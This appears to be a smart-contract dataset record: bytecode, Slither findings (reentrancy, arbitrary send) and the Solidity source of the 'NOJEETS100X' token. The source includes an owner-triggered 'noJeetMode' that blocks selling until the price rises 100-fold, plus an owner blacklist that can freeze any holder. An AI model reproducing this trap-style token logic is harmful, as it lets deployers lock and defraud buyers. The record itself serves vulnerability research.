02082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c082613308565b91506131cb83613308565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613200576131ff6133de565b5b828201905092915050565b600061321682613308565b915061322183613308565b9250826132315761323061340d565b5b828204905092915050565b600061324782613308565b915061325283613308565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328b5761328a6133de565b5b828202905092915050565b60006132a182613308565b91506132ac83613308565b9250828210156132bf576132be6133de565b5b828203905092915050565b60006132d5826132e8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332a82613308565b9050919050565b60005b8381101561334f578082015181840152602081019050613334565b8381111561335e576000848401525b50505050565b61336d8261346b565b810181811067ffffffffffffffff8211171561338c5761338b61343c565b5b80604052505050565b60006133a082613308565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d3576133d26133de565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377b816132ca565b811461378657600080fd5b50565b613792816132dc565b811461379d57600080fd5b50565b6137a981613308565b81146137b457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205b4cbc6162cf660633ee38c8d9af12b28ee009bda215b2cc42fb4d1d55ab178d64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,332 |
0x8f1b90f02a53a835f05c2095dfd6e213136898ca
|
// SPDX-License-Identifier: Unlicensed
//Telegram:
//@NOJEETS100X
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract NOJEETS100X is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "NOJEETS100X";
string private constant _symbol = "NOJEETS100X";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 11;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress ;
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
bool private isMaxBuyActivated = true;
bool private noJeetMode = false;
uint256 public _startingPrice;
uint256 public _maxTxAmount = 1e8 * 10**9;
uint256 public _maxWalletSize = 2e8 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
uint256 public _minimumBuyAmount = 1e8 * 10**9 ;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function initContract() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
if (isMaxBuyActivated) {
if (block.timestamp <= launchTime + 20 minutes) {
require(amount <= _minimumBuyAmount, "Amount too much");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if(noJeetMode){
require(getPrice()>_startingPrice.mul(100));
noJeetMode = false;
}
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchTime = block.timestamp;
noJeetMode = true;
_startingPrice = getPrice();
}
function getPrice() public view returns (uint256){
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
uint256 amount = 1 ** _decimals;
uint256 tokenPrice = uniswapV2Router.getAmountsOut(amount, path)[1];
return tokenPrice;
}
function setNoJeetMode(bool onoff) external onlyOwner{
noJeetMode = onoff;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner {
isMaxBuyActivated = _isMaxBuyActivated;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= 5e7 * 10**9, "Maximum transaction amount must be greater than 0.5%");
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
require(amountBuy >= 0 && amountBuy <= 13);
require(amountSell >= 0 && amountSell <= 13);
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
require(amountRefBuy >= 0 && amountRefBuy <= 1);
require(amountRefSell >= 0 && amountRefSell <= 1);
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
require(amount >= 0 && amount <= 1);
_burnFee = amount;
}
}
|
0x6080604052600436106102295760003560e01c806370a08231116101235780638f9a55c0116100ab578063c55284901161006f578063c552849014610628578063dd62ed3e14610648578063ea1644d51461068e578063f09fc1cb146106ae578063f2fde38b146106ce57600080fd5b80638f9a55c0146105bd57806395d89b411461023557806398d5fdca146105d35780639f131571146105e8578063a9059cbb1461060857600080fd5b80637d1db4a5116100f25780637d1db4a5146105345780638203f5fe1461054a578063881dce601461055f5780638da5cb5b1461057f5780638f70ccf71461059d57600080fd5b806370a08231146104c9578063715018a6146104e957806374010ece146104fe578063790ca4131461051e57600080fd5b80632fd689e3116101b15780634bf2c7c9116101755780634bf2c7c91461043e5780635d098b381461045e5780636b9cf5341461047e5780636d8aa8f8146104945780636fc3eaec146104b457600080fd5b80632fd689e3146103ac578063313ce567146103c257806333251a0b146103de57806338eea22d146103fe57806349bd5a5e1461041e57600080fd5b806318160ddd116101f857806318160ddd146103195780631cd5c9d81461033e57806323b872dd1461035457806327c8f8351461037457806328bb665a1461038a57600080fd5b806306fdde0314610235578063095ea7b3146102785780630f3a325f146102a85780631694505e146102e157600080fd5b3661023057005b600080fd5b34801561024157600080fd5b50604080518082018252600b81526a09c9e948a8aa8a6626060b60ab1b6020820152905161026f91906123d2565b60405180910390f35b34801561028457600080fd5b506102986102933660046121d3565b6106ee565b604051901515815260200161026f565b3480156102b457600080fd5b506102986102c336600461211f565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102ed57600080fd5b50601654610301906001600160a01b031681565b6040516001600160a01b03909116815260200161026f565b34801561032557600080fd5b50678ac7230489e800005b60405190815260200161026f565b34801561034a57600080fd5b5061033060185481565b34801561036057600080fd5b5061029861036f366004612192565b610705565b34801561038057600080fd5b5061030161dead81565b34801561039657600080fd5b506103aa6103a53660046121ff565b61076e565b005b3480156103b857600080fd5b50610330601b5481565b3480156103ce57600080fd5b506040516009815260200161026f565b3480156103ea57600080fd5b506103aa6103f936600461211f565b61080d565b34801561040a57600080fd5b506103aa61041936600461236c565b61087c565b34801561042a57600080fd5b50601754610301906001600160a01b031681565b34801561044a57600080fd5b506103aa610459366004612353565b6108cd565b34801561046a57600080fd5b506103aa61047936600461211f565b61090a565b34801561048a57600080fd5b50610330601c5481565b3480156104a057600080fd5b506103aa6104af366004612331565b610964565b3480156104c057600080fd5b506103aa6109ac565b3480156104d557600080fd5b506103306104e436600461211f565b6109d6565b3480156104f557600080fd5b506103aa6109f8565b34801561050a57600080fd5b506103aa610519366004612353565b610a6c565b34801561052a57600080fd5b50610330600a5481565b34801561054057600080fd5b5061033060195481565b34801561055657600080fd5b506103aa610b0f565b34801561056b57600080fd5b506103aa61057a366004612353565b610cf4565b34801561058b57600080fd5b506000546001600160a01b0316610301565b3480156105a957600080fd5b506103aa6105b8366004612331565b610d70565b3480156105c957600080fd5b50610330601a5481565b3480156105df57600080fd5b50610330610dd6565b3480156105f457600080fd5b506103aa610603366004612331565b610f85565b34801561061457600080fd5b506102986106233660046121d3565b610fcd565b34801561063457600080fd5b506103aa61064336600461236c565b610fda565b34801561065457600080fd5b50610330610663366004612159565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561069a57600080fd5b506103aa6106a9366004612353565b61102b565b3480156106ba57600080fd5b506103aa6106c9366004612331565b611069565b3480156106da57600080fd5b506103aa6106e936600461211f565b6110b1565b60006106fb33848461119b565b5060015b92915050565b60006107128484846112bf565b610764843361075f85604051806060016040528060288152602001612706602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906119c4565b61119b565b5060019392505050565b6000546001600160a01b031633146107a15760405162461bcd60e51b815260040161079890612427565b60405180910390fd5b60005b8151811015610809576001600960008484815181106107c5576107c56126c4565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061080181612693565b9150506107a4565b5050565b6000546001600160a01b031633146108375760405162461bcd60e51b815260040161079890612427565b6001600160a01b03811660009081526009602052604090205460ff1615610879576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108a65760405162461bcd60e51b815260040161079890612427565b60018211156108b457600080fd5b60018111156108c257600080fd5b600b91909155600d55565b6000546001600160a01b031633146108f75760405162461bcd60e51b815260040161079890612427565b600181111561090557600080fd5b601155565b6015546001600160a01b0316336001600160a01b03161461092a57600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b0316331461098e5760405162461bcd60e51b815260040161079890612427565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b0316146109cc57600080fd5b47610879816119fe565b6001600160a01b0381166000908152600260205260408120546106ff90611a38565b6000546001600160a01b03163314610a225760405162461bcd60e51b815260040161079890612427565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a965760405162461bcd60e51b815260040161079890612427565b66b1a2bc2ec50000811015610b0a5760405162461bcd60e51b815260206004820152603460248201527f4d6178696d756d207472616e73616374696f6e20616d6f756e74206d7573742060448201527362652067726561746572207468616e20302e352560601b6064820152608401610798565b601955565b6000546001600160a01b03163314610b395760405162461bcd60e51b815260040161079890612427565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610b9957600080fd5b505afa158015610bad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd1919061213c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c1957600080fd5b505afa158015610c2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c51919061213c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610c9957600080fd5b505af1158015610cad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cd1919061213c565b601780546001600160a01b0319166001600160a01b039290921691909117905550565b6015546001600160a01b0316336001600160a01b031614610d1457600080fd5b610d1d306109d6565b8111158015610d2c5750600081115b610d675760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610798565b61087981611abc565b6000546001600160a01b03163314610d9a5760405162461bcd60e51b815260040161079890612427565b6017805442600a5560ff60c01b19831515600160a01b021664ff000000ff60a01b1990911617600160c01b179055610dd0610dd6565b60185550565b604080516002808252606082018352600092839291906020830190803683370190505090503081600081518110610e0f57610e0f6126c4565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610e6357600080fd5b505afa158015610e77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e9b919061213c565b81600181518110610eae57610eae6126c4565b6001600160a01b03909216602092830291909101909101526000610ed4600960016125b2565b60165460405163d06ca61f60e01b81529192506000916001600160a01b039091169063d06ca61f90610f0c9085908790600401612483565b60006040518083038186803b158015610f2457600080fd5b505afa158015610f38573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610f6091908101906122a5565b600181518110610f7257610f726126c4565b6020026020010151905080935050505090565b6000546001600160a01b03163314610faf5760405162461bcd60e51b815260040161079890612427565b60178054911515600160b81b0260ff60b81b19909216919091179055565b60006106fb3384846112bf565b6000546001600160a01b031633146110045760405162461bcd60e51b815260040161079890612427565b600d82111561101257600080fd5b600d81111561102057600080fd5b600c91909155600e55565b6000546001600160a01b031633146110555760405162461bcd60e51b815260040161079890612427565b601a5481101561106457600080fd5b601a55565b6000546001600160a01b031633146110935760405162461bcd60e51b815260040161079890612427565b60178054911515600160c01b0260ff60c01b19909216919091179055565b6000546001600160a01b031633146110db5760405162461bcd60e51b815260040161079890612427565b6001600160a01b0381166111405760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610798565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166111fd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610798565b6001600160a01b03821661125e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610798565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166113235760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610798565b6001600160a01b0382166113855760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610798565b600081116113e75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610798565b6001600160a01b03821660009081526009602052604090205460ff16156114205760405162461bcd60e51b81526004016107989061245c565b6001600160a01b03831660009081526009602052604090205460ff16156114595760405162461bcd60e51b81526004016107989061245c565b3360009081526009602052604090205460ff16156114895760405162461bcd60e51b81526004016107989061245c565b6000546001600160a01b038481169116148015906114b557506000546001600160a01b03838116911614155b1561182e57601754600160a01b900460ff166115135760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642100000000000000006044820152606401610798565b6017546001600160a01b03838116911614801561153e57506016546001600160a01b03848116911614155b156115f0576001600160a01b038216301480159061156557506001600160a01b0383163014155b801561157f57506015546001600160a01b03838116911614155b801561159957506015546001600160a01b03848116911614155b156115f0576019548111156115f05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610798565b6017546001600160a01b0383811691161480159061161c57506015546001600160a01b03838116911614155b801561163157506001600160a01b0382163014155b801561164857506001600160a01b03821661dead14155b1561172857601a548161165a846109d6565b6116649190612535565b106116bd5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610798565b601754600160b81b900460ff161561172857600a546116de906104b0612535565b421161172857601c548111156117285760405162461bcd60e51b815260206004820152600f60248201526e082dadeeadce840e8dede40daeac6d608b1b6044820152606401610798565b6000611733306109d6565b601b5490915081118080156117525750601754600160a81b900460ff16155b801561176c57506017546001600160a01b03868116911614155b80156117815750601754600160b01b900460ff165b80156117a657506001600160a01b03851660009081526006602052604090205460ff16155b80156117cb57506001600160a01b03841660009081526006602052604090205460ff16155b1561182b5760115460009015611806576117fb60646117f560115486611c4590919063ffffffff16565b90611cc4565b905061180681611d06565b611818611813828561267c565b611abc565b47801561182857611828476119fe565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061187057506001600160a01b03831660009081526006602052604090205460ff165b806118a257506017546001600160a01b038581169116148015906118a257506017546001600160a01b03848116911614155b156118af575060006119b2565b6017546001600160a01b0385811691161480156118da57506016546001600160a01b03848116911614155b15611935576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a541415611935576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b03848116911614801561196057506016546001600160a01b03858116911614155b156119b257601754600160c01b900460ff16156119a557601854611985906064611c45565b61198d610dd6565b1161199757600080fd5b6017805460ff60c01b191690555b600d54600f55600e546010555b6119be84848484611d13565b50505050565b600081848411156119e85760405162461bcd60e51b815260040161079891906123d2565b5060006119f5848661267c565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610809573d6000803e3d6000fd5b6000600754821115611a9f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610798565b6000611aa9611d47565b9050611ab58382611cc4565b9392505050565b6017805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611b0457611b046126c4565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611b5857600080fd5b505afa